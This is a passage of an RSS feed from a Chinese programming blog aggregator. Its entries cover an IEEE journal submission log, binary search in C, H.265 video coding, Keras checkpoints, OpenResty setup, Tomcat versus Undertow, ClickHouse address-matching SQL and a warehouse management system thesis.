后面的字段</description>
    </item>
    <item>
      <title>IEEE Signal Processing Letters投稿记录</title>
      <link>https://bchobby.github.io/posts/98a8d6dc74d62558306dd1cb0c3fdfbf/</link>
      <pubDate>Wed, 07 Jun 2023 15:14:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98a8d6dc74d62558306dd1cb0c3fdfbf/</guid>
      <description>记录一下投稿过程：&#xA;2022.12.20 Prescreen编辑部预审，这个阶段比较关键&#xA;2023.12.25 AE Assignment分配学术编辑&#xA;2023.03.18 AQ(ACCEPTED WITH MANDATORY CHANGES)小修，给了两周时间&#xA;2023.03.24 Outstanding Revision Reminder催我提交修改稿&#xA;2023.04.03 提交返修稿&#xA;2023.04.12 ACCEPTED录用&#xA;2023.06 WOS检索&#xA;时间 ：总结起来，3个月拿到AQ，修改10天，AE在14天后录用，总用时将近4个月。稿件处理速度与预期相符。&#xA;审稿意见 ：4个审稿人，3个同意接收，1个拒绝。审稿意见中规中矩，没有太刁钻的问题，有两个审稿人提的意见比较中肯，但都是讨论，无需修改论文。</description>
    </item>
    <item>
      <title>用C语言实现 折半（二分）查找法</title>
      <link>https://bchobby.github.io/posts/d2477f1af9e26890798c17c6c6d0a7aa/</link>
      <pubDate>Wed, 07 Jun 2023 12:13:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2477f1af9e26890798c17c6c6d0a7aa/</guid>
      <description>折半查找法，也称二分查找法。&#xA;其 实现要求 为：&#xA;1.数据必须为有序数列&#xA;（有序：指数据必须是连续递增或递减的排列）&#xA;2.存储结构一定为顺序存储&#xA;3.关键字大小必须有序排列&#xA;其 基本思想 为：&#xA;1. 将要查找的数据与有序数列里中间的元素进行比较，若相等，则找到，然后输出位置。&#xA;2. 若要找数据大于中间元素的值，则再从数组的后一半元素中进行查找；否则，就从数组的前一半元素中进行查找。&#xA;3. 若将数组全部折半完后仍找不到，则输出“没找到”。&#xA;下面来代码实现：&#xA;int main() { int arr[10] = { 0 }; int n;//要查找的数据 int low=0, high=9, mid;//数组最左边，最右边，折半的中间 printf(&#34;请输入数组的数据值\n&#34;);//必须为有序（递增，减）数列 for (int i = 0; i &amp;lt; 10; i++) { scanf(&#34;%d&#34;, &amp;amp;arr[i]); } printf(&#34;请输入要查找的数据\n&#34;); scanf(&#34;%d&#34;,&amp;amp;n); while (low &amp;lt;= high) { mid = (low + high) / 2; if (arr[mid] &amp;gt; n)//中间值大于要查找数据，则数据在前半部分 { high = mid - 1; } if (arr[mid] &amp;lt; n) { low = mid + 1; } if (arr[mid] == n) { printf(&#34;</description>
    </item>
    <item>
      <title>H265/HEVC</title>
      <link>https://bchobby.github.io/posts/e6166048fa76e4a038134d41f4ba5d45/</link>
      <pubDate>Wed, 07 Jun 2023 11:13:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6166048fa76e4a038134d41f4ba5d45/</guid>
      <description>原文地址：https://blog.csdn.net/zhiyuan2021/article/details/117300582&#xA;一.H265/HEVC 1.介绍 H.265又称为HEVC（全称High Efficiency Video Coding，高效率视频编码，本文统称为H.265），是ITU-T H.264/MPEG-4 AVC标准的继任者。2004年开始由ISO/IEC Moving Picture Experts Group（MPEG）和ITU-T Video Coding Experts Group（VCEG）作为ISO/IEC 23008-2 MPEG-H Part 2或称作ITU-T H.265开始制定。第一版的HEVC/H.265视频压缩标准在2013年4月13日被接受为国际电信联盟（ITU-T）的正式标准。&#xA;2.制定 2012年8月，爱立信公司推出了首款H.265编解码器，而在仅仅六个月之后，国际电联（ITU）就正式批准通过了HEVC/H.265标准，标准全称为高效视频编码（High Efficiency Video Coding），相较于之前的H.264标准有了相当大的改善。&#xA;H.265旨在在有限带宽下传输更高质量的网络视频，仅需原先的一半带宽即可播放相同质量的视频。这也意味着，我们的智能手机、平板机等移动设备将能够直接在线播放1080p的全高清视频。H.265标准也同时支持4K（4096×2160）和8K（8192×4320）超高清视频。可以说，H.265标准让网络视频跟上了显示屏“高分辨率化”的脚步。&#xA;可能在几个月内，你就能看到支持H.265解码的设备上市了（如智能手机、显卡等）。H.264统治了过去的五年，而未来的五年甚至十年，H.265很可能将会成为主流。&#xA;3.传输码率 H.263可以2~4Mbps的传输速度实现标准清晰度广播级数字电视（符合CCIR601、CCIR656标准要求的720*576）；而H.264由于算法优化，可以低于2Mbps的速度实现标清数字图像传送；H.265 High Profile可实现低于1.5Mbps的传输带宽下，实现1080p全高清视频传输。&#xA;除了在编解码效率上的提升外，在对网络的适应性方面H.265也有显著提升，可很好运行在Internet等复杂网络条件下。&#xA;4.优势 H.265/HEVC的编码架构大致上和H.264/AVC的架构相似，主要也包含，帧内预测（intra prediction）、帧间预测（inter prediction）、转换（transform）、量化（quantization）、去区块滤波器（deblocking filter）、熵编码（entropy coding）等模块，但在HEVC编码架构中，整体被分为了三个基本单位，分别是：&#xA;编码单位（coding unit, CU）预测单位（predict unit, PU）转换单位（transform unit, TU） 比起H.264/AVC，H.265/HEVC提供了更多不同的工具来降低码率，以编码单位来说，H.264中每个宏块（macroblock/MB）大小都是固定的16x16像素，而H.265的编码单位可以选择从最小的8x8到最大的64x64。&#xA;以该图为例，信息量不多的区域（颜色变化不明显，比如车体的红色部分和地面的灰色部分）划分的宏块较大，编码后的码字较少，而细节多的地方（轮胎）划分的宏块就相应的小和多一些，编码后的码字较多，这样就相当于对图像进行了有重点的编码，从而降低了整体的码率，编码效率就相应提高了。&#xA;同时，H.265的帧内预测模式支持33种方向（H.264只支持8种），并且提供了更好的运动补偿处理和矢量预测方法。&#xA;反复的质量比较测试已经表明，在相同的图象质量下，相比于H.264，通过H.265编码的视频大小将减少大约39-44%。由于质量控制的测定方法不同，这个数据也会有相应的变化。&#xA;通过主观视觉测试得出的数据显示，在码率减少51-74%的情况下，H.265编码视频的质量还能与H.264编码视频近似甚至更好，其本质上说是比预期的信噪比（PSNR）要好。&#xA;这些主观视觉测试的评判标准覆盖了许多学科，包括心理学和人眼视觉特性等，视频样本非常广泛，虽然它们不能作为最终结论，但这也是非常鼓舞人心的结果。&#xA;H.264与H.265编码视频的主观视觉测试对比，我们可以看到后者的码率比前者大大减少了。&#xA;截止2013年的HEVC标准共有三种模式：Main、Main 10、Main Still Picture。Main模式支持8bit色深（即红绿蓝三色各有256个色度，共1670万色），Main 10模式支持10bit色深，将会用于超高清电视（UHDTV）上。前两者都将色度采样格式限制为4:2:0。预期将在2014年对标准有所扩展，将会支持4:2:2和4:4:4采样格式（即提供了更高的色彩还原度），和多视图编码（例如3D立体视频编码）。&#xA;事实上，H.265和H.264标准在各种功能上有一些重叠。例如，H.264标准中的Hi10P部分就支持10bit色深的视频；另一个H.264的部分（Hi444PP）还可以支持4:4:4色度抽样和14bit色深。在这种情况下，H.265和H.264的区别就体现在前者可以使用更少的带宽来提供同样的功能，其代价就是设备计算能力：H.265编码的视频需要更多的计算能力来解码。&#xA;已经有支持H.265解码的芯片发布了——博通公司在2013年1月初的CES大展上发布了一款Brahma BCM7445芯片，它是一个采用28纳米工艺的四核处理器，可以同时转码四个1080P视频数据流，或解析分辨率为4096×2160的H.265编码超高清视频。&#xA;截止2013年，有线电视和数字电视广播主要采用仍旧是MPEG-2标准。好消息是，H.265标准的出台最终可以说服广播电视公司放弃垂垂老矣的MPEG-2，因为同样的内容，H.265可以减少70-80%的带宽消耗。这就可以在现有带宽条件下轻松支持全高清1080p广播。但是另一方面，电视广播公司又很少有想要创新的理由，因为大多数有线电视公司在他们的目标市场中面临的竞争实在是有限。出于节省带宽的目的，反而是卫星电视公司可能将会率先采用H.265标准。&#xA;长远角度看，H.265标准将会成为超高清电视（UHDTV）的4K和8K分辨率的选择，但这也会带来其它问题，比如2013年还极少有原生4K分辨率的视频内容。H.265标准的完成意味着内容拥有者在2013年已经有了一个对应的理论标准，但是他们在2013年还没有一个统一的方式来传送内容。&#xA;标清（SD）、高清（HD）和4K分辨率超高清（UHD）视频大小对比图&#xA;蓝光光盘协会（The Blu-ray Disc Association）正在研究在蓝光光盘标准中支持4K分辨率视频的方法，但是这可没那么简单。理论上H.264在扩展后就可以拥有这个功能，但是到那时码率问题又会浮出水面。一个H.264编码的4K蓝光电影需要的存储空间远大于相同内容的H.265版本，其大小可高达100G以上，而现有的播放器也不支持100-128GB的高容量可刻录可擦写光盘（BDXL）。</description>
    </item>
    <item>
      <title>Keras函数——keras.callbacks.ModelCheckpoint()及模型的训练</title>
      <link>https://bchobby.github.io/posts/25333aced7a54cfc2000bd0a4bc7bf6b/</link>
      <pubDate>Tue, 06 Jun 2023 22:51:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25333aced7a54cfc2000bd0a4bc7bf6b/</guid>
      <description> keras.callbacks.ModelCheckpoint(filepath, monitor=&#39;val_loss&#39;, verbose=0, save_best_only=False, save_weights_only=False, mode=&#39;auto&#39;, period=1) 在每个epoch后保存模型到filepath。&#xA;参数：&#xA;filepath: 保存模型的路径。　monitor: 被监测的数据。val_acc或val_loss。　verbose: 详细信息模式，0 或者1。0为不打印输出信息，1为打印。　save_best_only: 如果save_best_only=True，将只保存在验证集上性能最好的模型mode: {auto, min, max} 的其中之一。 如果save_best_only=True，那么是否覆盖保存文件的决定就取决于被监测数据的最大或者最小值。 对于val_acc，模式就会是max；而对于 val_loss，模式就需要是min。在auto模式中，方式会自动从被监测的数据的名字中判断出来。　save_weights_only: 如果 True，那么只有模型的权重会被保存 (model.save_weights(filepath))， 否则的话，整个模型会被保存 (model.save(filepath))。　period: 每个检查点之间的间隔（训练轮数）。 训练过程：&#xA;1、从keras.callbacks导入ModelCheckpoint类&#xA;from keras.callbacks import ModelCheckpoint 2、在训练阶段的model.compile之后加入下列代码实现每一次epoch（period=1）保存最好的参数&#xA;checkpoint = keras.callbacks.ModelCheckpoint(filepath, monitor=&#39;val_loss&#39;, save_weights_only=True,verbose=1,save_best_only=True, period=1) 3、在训练阶段的model.fit之前加载先前保存的参数&#xA;if os.path.exists(filepath): model.load_weights(filepath) # 若成功加载前面保存的参数，输出下列信息 print(&#34;checkpoint_loaded&#34;) 4、在model.fit添加callbacks=[checkpoint]实现回调&#xA;model.fit_generator(data_generator_wrap(lines[:num_train], batch_size, input_shape, anchors, num_classes), steps_per_epoch=max(1, num_train//batch_size), validation_data=data_generator_wrap(lines[num_train:], batch_size, input_shape, anchors, num_classes), validation_steps=max(1, num_val//batch_size), epochs=, initial_epoch=0, callbacks=[checkpoint]) </description>
    </item>
    <item>
      <title>nginx&#43;lua(openresty) 安装及使用（一）</title>
      <link>https://bchobby.github.io/posts/cca51611c335270249929a507ae3fc2d/</link>
      <pubDate>Tue, 06 Jun 2023 22:10:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cca51611c335270249929a507ae3fc2d/</guid>
      <description>前言&#xA;OpenResty —— 通过 Lua 扩展 NGINX 实现的可伸缩的 Web 平台。&#xA;OpenResty（也称为 ngx_openresty）是一个基于 Nginx 与 Lua 的高性能 Web 平台，其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。&#xA;OpenResty 通过汇聚各种设计精良的 Nginx 模块（主要由 OpenResty 团队自主开发，），从而将 Nginx 有效地变成一个强大的通用 Web 应用平台。这样，Web 开发人员和系统工程师可以使用 Lua 脚本语言调动 Nginx 支持的各种 C 以及 Lua 模块，快速构造出足以胜任 10K 乃至 1000K 以上单机并发连接的高性能 Web 应用系统。&#xA;1:准备&#xA;下载地址: http://openresty.org/cn/download.html ( 这里下载是win64版最新版)&#xA;2：配置&#xA;openresty-1.21.4.1-win64\conf\nginx.conf 拷贝个 改名 nginx_debug.conf 这样方便测试&#xA;worker_processes 1; error_log logs/error.log; events { worker_connections 1024; } http { lua_package_path &#34;</description>
    </item>
    <item>
      <title>Pycharm插件之Statistic（统计代码行数、字数等数据）</title>
      <link>https://bchobby.github.io/posts/0bd91b51da00e5f8fc2d911af0774bec/</link>
      <pubDate>Tue, 06 Jun 2023 21:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bd91b51da00e5f8fc2d911af0774bec/</guid>
      <description> Pycharm插件之*Statistic(统计代码行数、字数等数据)* 【一】引言 PyCharm 插件 “Statistic” 可以帮助我们统计代码行数、字数、注释数、空行数等代码质量相关的数据，用来评估代码的质量和工作量的大小。&#xA;以下是详细步骤：&#xA;1.打开 PyCharm，进入 Settings(设置)。&#xA;2.选择 Plugins(插件)，搜索 “Statistic” 并安装。&#xA;3.安装成功后，在 PyCharm 主窗口中，选择 Tools(工具)菜单，点击 &#34;Statistic&#34;。&#xA;4.在 “Statistic” 窗口中，可以选择要统计的文件路径、文件类型、排除路径等选项，然后点击 “Start” 开始统计。&#xA;5.统计完成后，在 “Statistic” 窗口中可以看到统计结果，包括代码行数、注释行数、空行数、代码字数等数据。&#xA;通过这些数据，可以进行代码质量评估和工作量估算，发现代码中的问题，并标记需要改进的代码区域。&#xA;同时，还可以利用这些数据对自己的编码效率和代码规范进行评估，从而提高编码水平。&#xA;需要注意的是，虽然 “Statistic” 插件可以帮助我们统计代码质量相关数据，但这些数据只能作为一种参考，不一定能准确反映出代码的质量，更不能作为评估工作量的唯一标准。&#xA;正确评估代码质量和工作量需要综合考虑多个因素，包括代码的复杂度、可读性、可维护性等等。&#xA;【二】安装 1.打开 PyCharm，进入 Settings(设置)。 2.选择 Plugins(插件)，搜索 “Statistic” 并安装。 3.安装成功后，在 PyCharm 主窗口中，选择 Tools(工具)菜单，点击 &#34;Statistic&#34;。 4.在 “Statistic” 窗口中，可以选择要统计的文件路径、文件类型、排除路径等选项，然后点击 “Start” 开始统计。 5.统计完成后，在 “Statistic” 窗口中可以看到统计结果，包括代码行数、注释行数、空行数、代码字数等数据。 【三】注解 </description>
    </item>
    <item>
      <title>SOLIDWORKS PDM Professional中的Add-ins</title>
      <link>https://bchobby.github.io/posts/e6eebf9fecf527edceb1c36d475c7e7e/</link>
      <pubDate>Tue, 06 Jun 2023 20:52:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6eebf9fecf527edceb1c36d475c7e7e/</guid>
      <description>实现COM接口IEdmAddIn5的DLLs:IEdmAddIn5 Interface - 2019 - SOLIDWORKS API Help。通过“Add-in特性”对话框添加到文件库中：Administrate Add-ins Dialog Box - 2019 - SOLIDWORKS API Help通知SOLIDWORKS PDM Professional 用户操作： 将Add-in添加到文件库时，将调用IEdmAddIn5::GetAddInInfo。&#xA;当用户执行Add-in想要被通知的动作时，例如，当选择菜单项、创建文件或检入或检出文件时。SOLIDWORKS PDM Professional 调用 IEdmAddIn5::OnCmd 。&#xA;SOLIDWORKS PDM Professional 中使用 hooks (EdmCmdType)编程。所有的hooks都是通过IEdmAddIn5接口处理的。 以下示例显示如何创建基本的Add-in程序：&#xA;VB.NETVisual C#Visual C++ 在你使用范例创建基本的Add-in程序后，参考如何添加hooks:&#xA;在文件资源管理器中添加菜单项和工具栏按钮，使用：&#xA;VB.NETVisual C#Visual C++ 文件检入检出时添加hooks ：&#xA;VB.NETVisual C#Visual C++ 使用 VB.NET Hook up 文件数据卡中的按钮&#xA;使用VB.NET 通过Add-in 创建序列号</description>
    </item>
    <item>
      <title>tomcat和undertow、jetty、netty的区别</title>
      <link>https://bchobby.github.io/posts/190323a7094e661c354d94d0f8db696a/</link>
      <pubDate>Tue, 06 Jun 2023 19:57:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/190323a7094e661c354d94d0f8db696a/</guid>
      <description>记录一下，最近发现的几个容器的区别&#xA;tomcat简介 Tomcat：免费开源，轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。实际上Tomcat 部分是Apache 服务器的扩展，但它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的。只实现了JSP/Servlet的相关规范，不支持EJB。虽说是tomcat服务器，但是并不是真正的硬件，它是部署在电脑上的软件服务。&#xA;tomcat的作用&#xA;上面说过Tomcat是一个容器，但为什么开发出来的应用需要装进Tomcat这个容器呢。忽略各个文件之间的跳转，web应用本质只是一个装有很多资源(java/html/jsp/js/css等各种格式文件)的文件夹。假如我们有一个web应用projectA，我们在某台计算机A把这些文件写好后，就希望其他设备能够通过一些方式来访问我们的资源。一种方法是通过在浏览器地址栏输入URL来实现资源的访问。&#xA;那么从我们在计算机A上写好某个文件夹到文件夹能够被其他计算机所访问，需要什么呢。首先需要我们的互联网。计算机B先通过互联网找到计算机A。&#xA;而这样做的前提是你这个电脑必须在互联网这个网络里面，这样别人才能访问到你。也就是说一台电脑必须要有IP地址才能称为服务器。但这样也只是找到了IP地址而已，我们还需要找到对应的主机（注：一般主机是指一台电脑，但在tomcat中，虚拟主机指的是计算机中的某个文件夹）。但就算找到了计算机A，我们怎么知道要去哪里寻找web应用projectA呢。Tomcat容器就是来解决这个问题的。在我看来，Tomcat的一个重要的功能就在于“映射”（通过配置文件实现）。&#xA;javaweb项目都需要tomcat？&#xA;其实可以不要，之前Javaweb项目多为jsp，而jsp需要jsp容器来解释，所以需要tomcat等含有jsp容器的web服务器。使用jsp的时候，jsp没有main方法，怎么把服务启动呢，这个时候tomcat容器就很有必要了。&#xA;但随着近些年了，前后端分离导致不需要jsp容器来解释jsp，于是tomcat在项目中完全可以不要的，可以使用JBoss、Jetty等单纯Web应用服务器。&#xA;但tomcat也可以做Web服务器，所以项目中还是可以继续使用tomcat。&#xA;Java前后端分离的核心思想&#xA;前端html页面通过ajax调用后端的restuful api接口并使用json数据进行交互。前后端分离的项目就可以不使用tomcat容器。&#xA;springboot内置的tomcat&#xA;不得不说SpringBoot的开发者是在为大众程序猿谋福利，把大家都惯成了懒汉，xml不配置了，连tomcat也懒的配置了，典型的一键启动系统，那么tomcat在springboot是怎么启动的呢？&#xA;@SpringBootApplication&#xA;public class SpringbootH2Application {&#xA;public static void main(String[] args) {&#xA;SpringApplication.run(SpringbootH2Application.class, args);&#xA;}&#xA;}&#xA;有的公司在生产环境不使用springboot自带的tomcat，则需要在代码中排出：&#xA;undertow和tomcat的区别&#xA;在 SpringBoot 框架中，使用最多的是 Tomcat，这是 SpringBoot 默认的容器技术，而且是内嵌式的 Tomcat。&#xA;同时，SpringBoot 也支持 Undertow 容器，我们可以很方便的用 Undertow 替换 Tomcat，而 Undertow 的性能和内存使用方面都优于 Tomcat。&#xA;在高并发系统中，Tomcat 相对来说比较弱。在相同的机器配置下，模拟相等的请求数，Undertow 在性能和内存使用方面都是最优的。并且 Undertow 新版本默认使用持久连接，这将会进一步提高它的并发吞吐能力。所以，如果是高并发的业务系统，Undertow 是最佳选择。&#xA;使用：&#xA;1.排除SpingBoot中自带的tomcat&#xA;如上图2&#xA;2.添加Undertow的依赖&#xA;这样即可，使用默认参数启动undertow服务器。如果需要修改undertow参数，继续往下看。&#xA;undertow的参数设置：&#xA;server:&#xA;port: 8084</description>
    </item>
    <item>
      <title>【巧用clickhouse 正则进行关键字提取 楼栋\单元\房屋】</title>
      <link>https://bchobby.github.io/posts/df179b73ddf8e73f4b0bc7601e8a2949/</link>
      <pubDate>Tue, 06 Jun 2023 19:06:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df179b73ddf8e73f4b0bc7601e8a2949/</guid>
      <description> 利用ClickHouse 快速提取楼栋\单元\房屋信息 下面几个地址： 兴学街东社区测试小区1号楼1单元101室 兴东社区1-1-101 兴学测试1#1 101 如何快速匹配呢 可以通过先拆分字符串数组，然后取交集的方式实现:&#xA;一个sql 快速搞定：&#xA;SELECT extractAll(&#39;兴学街东社区测试小区1号楼1单元101室&#39;, &#39;\\d+&#39;) AS residential_arr, &#39;兴学街东社区测试小区1号楼1单元101室&#39; AS residential_address, length(arrayIntersect(extractAll(&#39;兴学街东社区测试小区1号楼1单元101室&#39;, &#39;[\\x{4e00}-\\x{9fa5}]&#39;), extractAll(&#39;兴东社测试&#39;, &#39;[\\x{4e00}-\\x{9fa5}]&#39;))) AS interset ┌─residential_arr─┬─residential_address─────────────────┬─interset─┐ │ [&#39;1&#39;,&#39;1&#39;,&#39;101&#39;] │ 兴学街东社区测试小区1号楼1单元101室 │ 5 │ └─────────────────┴─────────────────────────────────────┴──────────┘ SELECT residential_address, extractAll(residential_address, &#39;.*龙凤苑\\D*12甲\\D*1\\D*101&#39;) AS address_list FROM yisa_personnel.personnel_info_all WHERE (extractAll(residential_address, &#39;.*龙凤苑\\D*12甲\\D*1\\D*101&#39;)[1]) != &#39;&#39; ┌─residential_address──────────────────────┬─address_list───────────────────────────────┐ │ 龙凤苑社区西八路龙凤苑12甲号楼1单元101号 │ [&#39;龙凤苑社区西八路龙凤苑12甲号楼1单元101&#39;] │ └──────────────────────────────────────────┴────────────────────────────────────────────┘ ┌─residential_address─┬─address_list───────────┐ │ 龙凤苑A区12甲1-101 │ [&#39;龙凤苑A区12甲1-101&#39;] │ └─────────────────────┴────────────────────────┘ ┌─residential_address─────────────────────────────────────────────────┬─address_list──────────────────────────────────────────────────────────┐ │ 山东省淄博市张店区马尚街道龙凤苑社区龙凤苑A区12甲号楼号楼1单元101号 │ [&#39;山东省淄博市张店区马尚街道龙凤苑社区龙凤苑A区12甲号楼号楼1单元101&#39;] │ └─────────────────────────────────────────────────────────────────────┴───────────────────────────────────────────────────────────────────────┘ </description>
    </item>
    <item>
      <title>基于SSM的物流仓库管理系统</title>
      <link>https://bchobby.github.io/posts/0db1d7feb8fd46d19e95db3d0cadef30/</link>
      <pubDate>Tue, 06 Jun 2023 17:59:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0db1d7feb8fd46d19e95db3d0cadef30/</guid>
      <description>摘 要&#xA;随着社会的发展，社会的方方面面都在利用信息化时代的优势。互联网的优势和普及使得各种系统的开发成为必需。&#xA;本文以实际运用为开发背景，运用软件工程原理和开发方法，它主要是采用java语言技术和mysql数据库来完成对系统的设计。整个开发过程首先对仓库管理系统进行需求分析，得出仓库管理系统主要功能。接着对仓库系统进行总体设计和详细设计。总体设计主要包括仓库管理系统的功能设计、总体结构设计、数据结构设计和安全设计等；详细设计主要包括仓库系统数据库访问的实现，主要功能模块的具体实现，模块实现关键代码等。最后对仓库管理系统进行了功能测试，并对测试结果进行了分析总结，得出仓库管理系统存在的不足及需要改进的地方，为以后的仓库管理系统维护提供了方便，同时也为今后开发类似仓库管理系统提供了借鉴和帮助。&#xA;仓库管理系统开发使系统能够更加方便快捷，同时也促使仓库管理系统变的更加系统化、有序化。系统界面较友好，易于操作。&#xA;关键词：仓库管理系统；java语；Mysql；数据库；SSM框架&#xA;1 系统概述 1.1 概述 随着信息时代的快速发展，互联网的优势和普及，人们生活水平的不断提高，工作时间的繁忙，使得仓库管理系统的开发成为必需。仓库管理系统主要是借助计算机，通过对仓库管理系统管理所需的信息管理，增加用户的选择，同时也方便广大用户信息的及时查询、修改以及对仓库管理系统信息的及时了解。仓库管理系统给用户带来了更多的选择, 该系统通过和数据库软件协作来满足用户的需求。&#xA;1.2课题意义 如今，随着移动用户端的普及，微信因为其简单，方便，并且用户体验度好，所以被称为现在聊天沟通的新宠，同时也被应用到更多的企业做宣传推广。截至2017年底，微信用户数突破10亿，包括银行、证券、快递服务、电子商务等越来越多的公司在微信平台上推出相应的服务平台，以适应用户新的行为习惯。微信平台的科研社交网络平台已是势在必行。计算机技术在现代管理中的应用，使计算机成为人们应用现代技术的重要工具。能够有效的解决用户管理便捷化的问题，提高效率。给用户提供最全面、最专业的数据管理信息，帮助他们了解最新详细信息，还有就是借助微信端，能够更好的满足用户的需求，为用户节省时间以达到省时又高效的目的。&#xA;1.3 主要内容 仓库管理系统从功能、数据流程、可行性、运行环境进行需求分析。对仓库管理系统的数据库、功能进行了详细设计，分析了主要界面设计和相关组件设计，仓库管理系统的具体实现进行了介绍。从数据库中获取数据、向数据库中写入数据，实现系统直接对数据库进行各种数据库查询、插入、删除、更新等操作，在网页中加入动态内容，从而实现仓库管理系统所需要的各种基本功能。&#xA;2 系统开发环境 2.1微信开发者工具 微信开发者工具现在已经被小程序开发团队开发运行，目前微信开发者工具任然在不断的完善中，在开发小程序时经常要不断的更新。可以使用微信扫码登陆开发者工具，开发者工具将使用这个微信帐号的信息进行小程序的开发和调试。&#xA;机型选择：小程序以智能手机的屏幕尺寸为设计标准，进行切图。&#xA;预览界面：写好视图布局后点击编译，用来刷新视图界面。&#xA;控制台：方便调试打印输出信息。&#xA;上传代码：上传到腾讯服务器，提交审核必经步骤。上传代码时可以填写版本号和备注信息。&#xA;资源文件：一般可以在资源文件进行对应项目的文件目录的断点调试。&#xA;显示远程调试：手机端和PC端开发工具联调对用户而言是非常实用的。&#xA;本地数据存储：显示的是本地存储的数据。&#xA;视图调试：标组件以子父层级结构呈现，方便调试。&#xA;微信限制在2M 以内的代码体积；开发中一般不校验合法域名信息；小程序后台要做配置服务器域名。&#xA;以上就是在开发过程中微信开发者工具常用到的功能，微信开发者工具也在不断的完善。&#xA;2.2小程序框架以及目录结构介绍 整个小程序框架系统分为两部分：逻辑层和视图层。小程序开发框架的目标是通过尽可能简单、高效的方式让开发者可以在微信中开发具有原生小程序体验的服务。小程序在视图层与逻辑层间提供了数据传输和事件系统，提供了自己的视图层以及逻辑层框架，让开发者能够专注于数据与逻辑。框架的核心是一个响应的数据绑定系统，可以让数据与视图非常简单地保持同步。在逻辑层做数据修改，在视图层就会做相应的更新。框架提供了一套基础的组件，这些组件自带微信风格的样式以及特殊的逻辑，开发者可以通过组合基础组件，创建出强大的小程序。&#xA;2.3 JAVA简介 Java主要采用CORBA技术和安全模型，可以在互联网应用的数据保护。它还提供了对EJB（Enterprise JavaBeans）的全面支持，java servlet API，JSP（java server pages），和XML技术。多进步。例如，当我在微软Word中写这篇文章时，我还打开了一个MP3播放器来播放音乐。偶尔，我也会编辑Word，让商品出库管理机器执行打印作业，我也喜欢通过IE。对我来说，这些操作是同时执行的，我不需要等待一首歌来完成商品出库管理论文编辑。似乎他们都在商品出库管理机器上同时为我工作。事实是，对于一个CPU，它只能在某个时间点执行一个程序。CPU在这些程序之间不断地“跳跃”。那么为什么我们看不到任何破坏呢？这是因为，与我们的感情相比，它的速度太快了。因此，尽管我们看到一些同步操作，实际上对于计算机来说，它只能在某个时间点执行一个程序，除非您的计算机是多CPU的。&#xA;Java是一种计算机编程语言，具有封装、继承和多态性三个主要特性，广泛应用于企业Web应用程序开发和移动应用程序开发。&#xA;Java语言和一般编译器以及直译的区别在于，Java首先将源代码转换为字节码，然后将其转换为JVM的可执行文件，JVM可以在各种不同的JVM上运行。因此，实现了它的跨平台特性。虽然这使得Java在早期非常缓慢，但是随着Java的开发，它已经得到了明显改进。&#xA;2.4 MySQL数据库 Mysql的语言是非结构化的，用户可以在数据上进行工作。MySQL因为其速度、可靠性和适应性而备受关注。大多数人都认为在不需要事务化处理的情况下，MySQL是管理内容最好的选择。并且因为Mysql的语言和结构比较简单，但是功能和存储信息量很强大，所以得到了普遍的应用。&#xA;Mysql数据库在编程过程中的作用是很广泛的，为用户进行数据查询带来了方便。Mysql数据库的应用因其灵活性强，功能强大，所以在实现某功能时只需要一小段代码，而不像其他程序需要编写大段代码。总体来说，Mysql数据库的语言相对要简洁很多。&#xA;数据流程分析主要就是数据存储的储藏室，它是在计算机上进行的，而不是现实中的储藏室。数据的存放是按固定格式，而不是无序的，其定义就是：长期有固定格式，可以共享的存储在计算机存储器上。数据库管理主要是数据存储、修改和增加以及数据表的建立。为了保证系统数据的正常运行，一些有能力的处理者可以进行管理而不需要专业的人来处理。数据表的建立，可以对数据表中的数据进行调整，数据的重新组合及重新构造，保证数据的安全性。介于数据库的功能强大等特点，本系统的开发主要应用了Mysql进行对数据的管理。&#xA;2.5 SSM三大框架 （1）Spring的优势:&#xA;通过Spring的IOC特性，将对象之间的依赖关系交给了Spring控制，方便解耦，简化了开发。&#xA;（2）Spring MVC的优势:&#xA;SpringMVC是使用了MVC设计思想的轻量级web框架，对web层进行解耦，使我们的开发更简洁。&#xA;（3）Mybatis的优势:&#xA;数据库的操作(sql)采用xml文件配置，解除了sql和代码的耦合，提供映射标签，支持对象和和数据库orm字段关系的映射，支持对象关系映射标签，支持对象关系的组建提供了xml标签，支持动态的sql。&#xA;3 需求分析 3.1 系统设计目标 当今社会的生活节奏越来越快，人们对手机微信的需求也越来越高，不仅对操作简单、功能齐全方面，而且对于用户的体验度也有了更高的要求，最快捷高效的方式莫过于利用互联网，将仓库管理系统和互联网结合起来，为用户提供方便快捷的服务。&#xA;需求分析的任务是通过详细调查现实要处理的对象，充分了解系统的工作概况，明确用户的各种需求，然后在此基础上确定新系统的功能。新系统必须充分考虑今后可能的扩充和改变。&#xA;3.2需求分析概述 